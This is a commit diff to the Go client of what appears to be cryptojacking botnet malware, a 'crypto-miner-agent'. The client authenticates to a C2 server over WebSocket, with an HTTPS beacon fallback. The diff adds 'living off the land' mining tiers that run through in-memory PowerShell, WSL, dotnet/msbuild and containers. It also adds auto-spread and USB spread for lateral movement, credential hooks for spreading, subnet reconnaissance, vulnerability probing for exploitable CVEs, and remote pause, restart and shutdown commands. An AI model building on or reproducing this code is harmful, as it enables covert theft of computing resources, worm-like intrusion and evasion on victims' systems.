Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -23,6 +24,7 @@ import (
|
||||
"crypto-miner-agent/job"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
"crypto-miner-agent/vulnprobe"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
@@ -46,6 +48,26 @@ type AgentClient struct {
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
connected atomic.Bool
|
||||
|
||||
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
|
||||
containerMiner *miner.ContainerLauncher
|
||||
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
|
||||
wslMiner *miner.WSLLauncher
|
||||
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
|
||||
psMiner *miner.PowerShellLauncher
|
||||
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
|
||||
dotnetMiner *miner.DotnetLauncher
|
||||
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
|
||||
hostMiningDisabled atomic.Bool
|
||||
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
|
||||
miningChain *MiningChainRunner
|
||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||
joinLane string
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
// situations and start direct Stratum mining after a timeout.
|
||||
@@ -55,6 +77,9 @@ type AgentClient struct {
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
|
||||
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
|
||||
commandResultHook func(action string, success bool, message string)
|
||||
|
||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
agentID: cfg.AgentID,
|
||||
}
|
||||
c.mesh = NewMeshNode(c)
|
||||
c.initSpreadCredHooks()
|
||||
return c
|
||||
}
|
||||
|
||||
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
// Start GPU miner (Ravencoin / KawPoW) if configured
|
||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||
c.mu.Lock()
|
||||
c.gpuMiner = gm
|
||||
c.mu.Unlock()
|
||||
gm.Start()
|
||||
defer gm.Stop()
|
||||
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||
defer chainCancel()
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if deploy.WantsDeferMining() {
|
||||
go c.startMiningWhenReady(chainCtx)
|
||||
} else {
|
||||
c.miningChain.Start(chainCtx)
|
||||
}
|
||||
defer c.miningChain.Stop()
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
||||
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
||||
JoinLane: c.getJoinLane(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
|
||||
if !resp.Success {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.agentID = resp.AgentID
|
||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||
c.mu.Lock()
|
||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
|
||||
}
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
|
||||
|
||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||
if c.cfg.AutoSpread {
|
||||
c.spreadOnce.Do(func() {
|
||||
deploy.StartAutoSpreader(c.cfg)
|
||||
// One-shot first-run spread (triggered on the very first install).
|
||||
if deploy.WantsFirstRunSpread(c.cfg) {
|
||||
deploy.RunSpreadOnce(c.cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(c.cfg)
|
||||
c.spreadOnce.Do(func() {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
if cfg.LotlOnionEnabled {
|
||||
deploy.StartLotlOnion(cfg)
|
||||
}
|
||||
})
|
||||
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return nil
|
||||
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "module "+module+" applied")
|
||||
case "start_mining":
|
||||
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", true)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining started")
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", false)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Stop()
|
||||
} else {
|
||||
c.pool.PauseRemote()
|
||||
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||
c.containerMiner.Stop()
|
||||
}
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
}
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
c.pool.ResumeRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
if c.containerMiner != nil && !c.containerMiner.Running() {
|
||||
if err := c.containerMiner.Start(); err != nil {
|
||||
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
|
||||
c.hostMiningDisabled.Store(false)
|
||||
c.pool.ResumeRemote()
|
||||
} else {
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
}
|
||||
} else if !c.hostMiningDisabled.Load() {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
}
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining resumed")
|
||||
c.sendCommandResult(action, true, "fleet health: hashing restored")
|
||||
case "restart":
|
||||
c.sendCommandResult(action, true, "restarting")
|
||||
go c.restartSelf()
|
||||
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||
}
|
||||
}()
|
||||
case "mining_diagnostics":
|
||||
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
|
||||
case "get_log":
|
||||
if tailLines <= 0 {
|
||||
tailLines = 300
|
||||
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
|
||||
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
|
||||
if c.commandResultHook != nil {
|
||||
c.commandResultHook(action, success, message)
|
||||
return
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action,
|
||||
"success": success,
|
||||
@@ -841,6 +928,16 @@ func probeSSH() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
|
||||
if stratumOverlay {
|
||||
return "direct"
|
||||
}
|
||||
if c.connected.Load() {
|
||||
return "c2_ws"
|
||||
}
|
||||
return "none"
|
||||
}
|
||||
|
||||
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
@@ -852,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
var lastPressure *ResourcePressure
|
||||
var lastDNS *DNSConfig
|
||||
var lastListenPortCount *int
|
||||
var lastNetworkHints *deploy.NetworkHints
|
||||
var lastVulnReport *vulnprobe.ScanReport
|
||||
var postureReady bool
|
||||
for {
|
||||
select {
|
||||
@@ -908,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
n := lp.Count
|
||||
lastListenPortCount = &n
|
||||
}
|
||||
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
||||
lastNetworkHints = &hints
|
||||
lastVulnReport = RunVulnLOTLProbe()
|
||||
}
|
||||
probeTick++
|
||||
|
||||
@@ -927,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||
}
|
||||
stats.ListenPortCount = lastListenPortCount
|
||||
stats.NetworkHints = lastNetworkHints
|
||||
if lastPressure != nil {
|
||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||
@@ -972,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.AgentElevated = lastPosture.AgentElevated
|
||||
stats.Services = lastPosture.Services
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
ms := c.miningChain.Status()
|
||||
stats.ActiveMethod = string(ms.ActiveMethod)
|
||||
stats.StratumOverlay = ms.StratumOverlay
|
||||
stats.ChainExhausted = ms.ChainExhausted
|
||||
stats.MiningLastError = ms.LastError
|
||||
if ms.LOTLTier != "" {
|
||||
stats.LOTLTier = string(ms.LOTLTier)
|
||||
}
|
||||
if len(ms.LOTLAttempts) > 0 {
|
||||
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
|
||||
for i, a := range ms.LOTLAttempts {
|
||||
stats.LOTLAttempts[i] = TierAttemptPayload{
|
||||
Phase: a.Phase,
|
||||
Tier: string(a.Tier),
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
DurationMs: a.DurationMs,
|
||||
Wallet: a.Wallet,
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(ms.FailedMethods) > 0 {
|
||||
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
|
||||
for i, f := range ms.FailedMethods {
|
||||
stats.FailedMethods[i] = MethodFailurePayload{
|
||||
Method: string(f.Method),
|
||||
Reason: f.Reason,
|
||||
At: f.At,
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(ms.ChainOrder) > 0 {
|
||||
stats.ChainOrder = make([]string, len(ms.ChainOrder))
|
||||
for i, m := range ms.ChainOrder {
|
||||
stats.ChainOrder[i] = string(m)
|
||||
}
|
||||
}
|
||||
stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
|
||||
} else {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if lastVulnReport != nil {
|
||||
score := lastVulnReport.RiskScore
|
||||
stats.VulnRiskScore = &score
|
||||
if len(lastVulnReport.Findings) > 0 {
|
||||
stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
|
||||
for i, f := range lastVulnReport.Findings {
|
||||
stats.VulnFindings[i] = VulnFindingPayload{
|
||||
CVEID: f.CVEID,
|
||||
Severity: f.Severity,
|
||||
Component: f.Component,
|
||||
Patched: f.Patched,
|
||||
ExploitableInFleetContext: f.ExploitableInFleetContext,
|
||||
Detail: f.Detail,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if lane := c.getJoinLane(); lane != "" {
|
||||
stats.JoinLane = lane
|
||||
}
|
||||
payload, _ := json.Marshal(stats)
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
@@ -1026,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
if c.cfg.PoolHost == "" {
|
||||
return // no pool configured
|
||||
}
|
||||
if c.cfg.StratumOverWS {
|
||||
log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
|
||||
return
|
||||
}
|
||||
|
||||
type fallback struct {
|
||||
stop chan struct{}
|
||||
@@ -1057,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
sc.RunFallback(stop)
|
||||
}()
|
||||
fb = &fallback{stop: stop, wait: wait}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.SetStratumActive(true)
|
||||
}
|
||||
if c.connected.Load() {
|
||||
log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
} else {
|
||||
@@ -1070,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
<-fb.wait
|
||||
fb = nil
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.SetStratumActive(false)
|
||||
}
|
||||
log.Printf("[stratum] fallback stopped — %s", reason)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user